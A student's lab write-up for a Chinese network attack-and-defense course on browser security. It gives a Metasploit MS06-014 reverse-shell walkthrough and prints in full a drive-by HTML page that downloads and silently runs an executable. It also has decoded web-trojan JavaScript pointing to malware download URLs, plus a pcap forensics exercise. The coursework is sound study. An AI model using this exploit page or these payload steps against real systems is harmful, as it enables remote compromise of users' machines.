20199137 2019-2020-2 《网络攻防实践》第十二次作业

本次作业属于那个课程 《网络攻防实践》
这个作业要求在哪里 第十二次次作业 浏览器安全攻防
作业正文 下述正文
其他参考文献 见文末

1.实践内容

web浏览器安全威胁

Web浏览器软件安全困境三要素:复杂性、可扩展性、连通性。
(1)复杂性:现代浏览器软件的复杂性意味着更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量安全漏洞。
(2)可扩展性:现代Web浏览器可能最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制。而第三方扩展插件的开发过程缺乏安全保证,出现安全漏洞的情况更为普遍。
(3)连通性:现代Web浏览器本身就是为用户实现“随时随地浏览互联网”这一目标而存在的,因此浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。
Web浏览安全威胁位置

  • 针对传输网络的网络协议安全威胁
  • 针对Web浏览端系统平台的安全威胁
  • 针对Web浏览器软件及插件程序的渗透攻击威胁
  • 针对互联网用户的社会工程学攻击威胁

Web浏览端渗透攻击威胁——网页木马

网页木马的定义特征
  通过对网页木马起源背景和存在技术基础的分析,我们可以认知到网页木马从本质特征上利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。
本质核心:利用脚本语言实现对web浏览端软件安全漏洞的渗透攻击,从而向客户端主机中植入恶意程序。
网页木马的特性:
(1)网页木马所攻击的安全漏洞的存在位置非常多样化。
(2)除了微软操作系统平台软件本身的安全漏洞之外,网页木马近年来也在不断地发掘和利用其它流行应用软件中的安全漏洞。
(3)一些影响范围广的安全漏洞。

混淆机制
除了引入中间跳转节点进行嵌套链接,并集成多种渗透攻击代码之外,网页木马攻击网络中往往采用了大量的混淆技术,来对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网页木马攻击网络更难被检测和摧毁,这些混淆技术也被称为“免杀”

网络钓鱼

网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式。
原理:通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出个人敏感信息。
普遍技术流程:
(1)攻击者扫描网段,寻找存有漏洞的服务器;
(2)服务器被攻陷,并被安装一个rootkit或口令保护的后门工具;
(3)攻击者从加密的后门工具获得对服务器的访问权,并下载已经构建完毕的钓鱼网站内容,进行一些网站搭建配置与测试工作,使得钓鱼网站上线运行;
(4)攻击者下载群发电子邮件工具,并大规模散发垃圾邮件;
(5)网页浏览的流量开始到达钓鱼网站,受害者访问并给出个人敏感信息,攻击者通过后台脚本收集这些信息。
防范:增强安全意识、提高警惕性。

实践

web浏览器渗透攻击实验

使用Metasploit的MS06-014渗透攻击模块(ie_createobject)
选择payload为任意远程连接,设置参数,得到恶意url地址
靶机访问该恶意地址,在攻击机中查看攻击状态,并通过渗透建立的SESSION在靶机上执行命令

名称 IP
Kali(攻击机) 192.168.200.6
win2k(靶机) 192.168.200.124

kali中打开msfconsole,然后search MS06-014,发现一个可使用的module

攻击机地址set LHOST 192.168.200.6
靶机地址 set RHOST 192.168.200.124
设置payload set payload windows/meterpreter/reverse_tcp

得到有木马的网址http://192.168.200.6:8080/8Gk5jNeTHqpCqD,在靶机中访问该地址,再回到攻击机中发现已经建立会话,攻击完成。


用sessions查看目前的连接,使用命令sessions -i 1选择会话1,返回meterpreter,此时攻击机便可以在靶机上执行命令。

使用getuid查看当前权限为administrator,使用ifconfig查看靶机IP

取证分析实践——剖析一个实际的网页木马攻击场景

1)试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2)网页和JavaScript代码中都使用了什么样的加密方法?你是如何解密的?
3)从解密后的结果来看,攻击者构造的网页木马利用了哪些安全漏洞?
4)解密后发现了多少个可执行文件?这些可执行文件中有下载器么?如果有,他们下载了哪些程序?这些程序又是起什么作用的?
首先给出要用的木马代码的框架

再对其进行分析,需要先从挂马网站上下载.htm文件,分析其中跳转的网页后下载的可执行文件,文件中已给出这些木马文件的种类,直接对其进行分析,首先查看一下1.js文件的代码,十六进制解密后,发现这个文件前面部分下载了一个http://down.18dd.net/bb/014.exe的可执行文件,后面部分是对 ADODB 漏洞的继续利用

使用在线网站解密后

然后看一下b.js文件,发现出现了shellcode二进制执行代码,如果Shellcode不是很长的话,他可能就是一个下载器,间接地构成破坏;下载的话就会有要下载内容的URL,参考资料URL中比如出现/,ASCII码值是2F

解密得

将最后一个2f的地方解密后得到://down.18dd.net/bb/bf.exe。没有协议名很奇怪,再多解密一些得到http://down.18dd.net/bb/bf.exe

接着看一下pps.js,是八进制加密的,解密后得到,又出现了shellcode,得到他的可执行文件路径http://down.18dd.net/bb/pps.exe
检验bf.exe是否加壳

然后使用W32Dasm工具进行反编译,查看字符串信息,可以看到这个程序可能会生成自动运行的文件shellAutocommand=,也会看到程序可能要下木马要下载一大堆木马,因为有如http://down.18dd.net/kl/19.exe

由"瑞星卡卡上网安全助手 - IE防漏墙","允许","允许执行",可知这个程序有一定的防系统保护软件的能力

对6.exe脱壳,打开,我们可以看到一堆字符串,推测进行了修改注册表之类的操作

攻防对抗实践

首先根据之前做过的ms06-014漏洞,在靶机访问metasploit里生成的链接,攻击机即可获取到会话,并且控制靶机;那么这一过程是如何实现的呢?我首先把靶机访问的链接的网页给保存下来,然后打开分析,发现该网页为了防止被杀毒软件查杀,对关键指令做了字符串拼接处理和使用了大量的空白和间隔。


使用在线网站除无效回车符和空格后,我们得到了完整的网页信息,然后可以看到,该网页中的JavaScript使用了createObject,GetObject,Wscript.shell, Adobe.stream等指令

<HTML><HEAD><TITLE></TITLE><META content="text/html; charset=gb2312"http-equiv=Content-Type><SCRIPT language=javascript>function pKkY(o,n){var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function tP(a){var s=pKkY(a,"WScript.Shell");var o=pKkY(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\cJcJLsEmqGIjWiuCzd.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function YkDfrNHOKdlOOhUz(){var i=0;var t=new Array('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){var a=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=pKkY(a,"WScript.Shell");if(b){tP(a);return(0)}}catch(e){}}i++}}</SCRIPT><META content="MSHTML 5.00.2920.0"name=GENERATOR></HEAD><BODY onload=YkDfrNHOKdlOOhUz()>ONzcavxmuvqAKPOErU</BODY></HTML>

然后可以看到,下图中使用js调用了document.location加载了payload,并且下一行中后面跟了一个可执行文件cJcJLsEmqGIjWiu.exe;猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的,而且为了躲避杀毒软件,每次加载恶意网页生成的可执行文件的名字是不一样的,同时打开靶机任务管理器查看正在运行的程序,果然发现了在网页源码中出现的那个可执行文件,这个应该是帮助攻击机获取靶机控制权限的恶意程序。

然后就看不懂了。。

Web浏览器遭遇攻击、取证分析

通过分析给的网络记录文件,回答下列问题:
列出在捕获文件中的应用层协议类型,是针对哪个或哪些协议的?
列出IP地址、主机名、域名,猜测攻击场景的环境配置。
列出所有网页页面,其中哪些页面包含了可疑的、恶意的js脚本,谁在连接这些页面,目的是什么?
请给出攻击者执行攻击动作的概要描述。
攻击者引入了哪些技巧带来了困难。
攻击者的目标是哪个操作系统?哪个软件?哪个漏洞?如何组织?
shellcode执行了哪些操作?比较他们之间MD5的差异?
在攻击场景中有二进制可执行代码参与吗?目的是什么?
首先下载chaosreade,然后利用chaosreader读取这个文件./chaosreader suspicious-time.pcap,发现了有HTTP、ICMP、Bootps、Netbios、DNS的应用层协议,只有HTTP有攻击的嫌疑,并且通过Wireshark打开追踪HTTP流还会发现sploitme关键字段。

我们使用下面的指令来查询有哪些IP地址和域名在进行攻击,下面的指令就是选取之前生成的.http.html文件读取,筛选主机并列出来。通过图片可以看到,rapidshare.com.eyu32.ru 对应192.168.56.50,sploitme.com.cn对应192.168.56.50,shop.honeynet.sg对应192.168.56.51。
接着输入

for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http: ' | awk '{print $2}' | cut -d ':' -f1`; dstip=`cat "$i" | grep 'http: ' | awk '{print $4}' | cut -d ':' -f1`; host=`cat "$i" | grep 'Host: ' | sort -u | sed -e 's/Host: //g'`; echo "$srcip --> $dstip = $host"; done | sort


我们利用指令列出 netbios 主机名和工作组,发现都是一样,所以应该是配置在虚拟机下面的。
通过Wireshark可以查看所有的访问的Web界面,然后主要是找出哪些是恶意的js脚本,主要目的是什么

通过打开session_0006.part_01.html发现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是rapidshare.com.eyu32.ru/login.php。那我们找sploitme.com.cn,404 NotFound了,这个对应文件session_0007.part_02.html。下面找shop.honeynet.sg/catalog/,对应文件session_0032.part_01.html
首先我们追踪TCP 142号流,可以查看到这是一个针对Windows XP系统的,主要攻击目标是IE浏览器漏洞和含有ActiveX组件漏洞的。

含有的漏洞
MDAC RDS.Dataspace ActiveX control
AOL IWinAmpActiveX control (AmpX.dll)
DirectShow ActiveX control (msvidctl.dll)
Office Snapshot Viewer ActiveX control
COM Object Instantiation (msdds.dll)
Office Web Components ActiveX control
可以通过修补操作系统和应用程序,进行定期更新以及使用“ ActiveX杀手”或完全使用其他Web浏览器来防止攻击。
1)请给出攻击者执行攻击动作的概要描述。
攻击者将javascript代码注入指向sploitme.com.cn/?click=x;
访问者浏览这些页面时被重定向到恶意界面;
该代码又能尝试在受害主机中下载执行文件;
2)攻击者引入的技巧有:网页中的js代码使用了简单的编码和加密进行混淆;包含恶意代码的界面伪装成看起来像出错的界面,让分析者难以察觉;攻击者发送的漏洞是针对受害者使用浏览器而变化的;不允许一个客户端多次访问,都给分析带来了困难。
3)针对的操作系统,应用软件和漏洞有:针对WindowsXP系统、主要攻击IE浏览器漏洞。可以通过修补操作系统和应用程序、定期更新杀毒软件来防止攻击。
4)Shellcode执行的操作有:获取系统临时文件路径、加载urlmon.dll然后执行。
5)攻击场景中有二进制执行代码吗?有二进制可执行代码的参与,目的是使客户端从恶意软件分发网络服务器下载可执行文件在本地执行。

遇到的问题及解决方法

win2k一开始连接不上网址,后来发现两个虚拟机之间没有ping通。。。

心得体会

最后一次作业好难哦

参考文献

网络攻防实践-诸葛建伟

原文地址:https://www.cnblogs.com/xiaoming319/p/12903731.html